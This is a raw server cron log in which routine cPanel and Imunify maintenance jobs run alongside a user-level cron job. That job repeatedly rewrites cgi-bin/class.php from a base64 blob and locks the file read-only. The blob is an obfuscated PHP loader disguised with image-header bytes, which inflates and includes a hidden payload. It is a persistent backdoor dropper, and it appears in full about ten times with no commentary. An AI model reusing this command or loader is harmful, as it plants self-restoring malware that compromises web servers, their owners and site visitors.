Sep  9 06:14:01 server CROND[24230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:14:01 server CROND[24231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:14:01 server CROND[24232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:15:01 server CROND[24616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:15:01 server CROND[24618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:15:01 server CROND[24624]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:15:01 server CROND[24626]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 06:15:01 server CROND[24629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:15:01 server CROND[24628]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:15:01 server CROND[24632]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  9 06:15:01 server CROND[24633]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 06:15:01 server CROND[24627]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 06:15:01 server CROND[24634]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 06:16:01 server CROND[25477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:16:01 server CROND[25475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:16:01 server CROND[25476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:17:01 server CROND[26052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:17:01 server CROND[26053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:17:01 server CROND[26054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:18:01 server CROND[26528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:18:01 server CROND[26529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:18:01 server CROND[26530]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:19:01 server CROND[26955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:19:01 server CROND[26956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:19:01 server CROND[26957]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:20:01 server CROND[27354]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:20:01 server CROND[27353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:20:01 server CROND[27355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:20:01 server CROND[27356]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 06:20:01 server CROND[27358]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 06:20:01 server CROND[27357]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 06:20:01 server CROND[27359]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:20:01 server CROND[27362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:20:01 server CROND[27363]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 06:21:01 server CROND[28184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:21:01 server CROND[28185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:21:01 server CROND[28186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:22:01 server CROND[28564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:22:01 server CROND[28565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:22:01 server CROND[28566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:23:01 server CROND[29031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:23:01 server CROND[29032]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:23:01 server CROND[29033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:24:01 server CROND[29399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:24:01 server CROND[29400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:24:01 server CROND[29401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:25:01 server CROND[29777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:25:01 server CROND[29780]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:25:01 server CROND[29778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:25:01 server CROND[29782]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 06:25:01 server CROND[29784]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
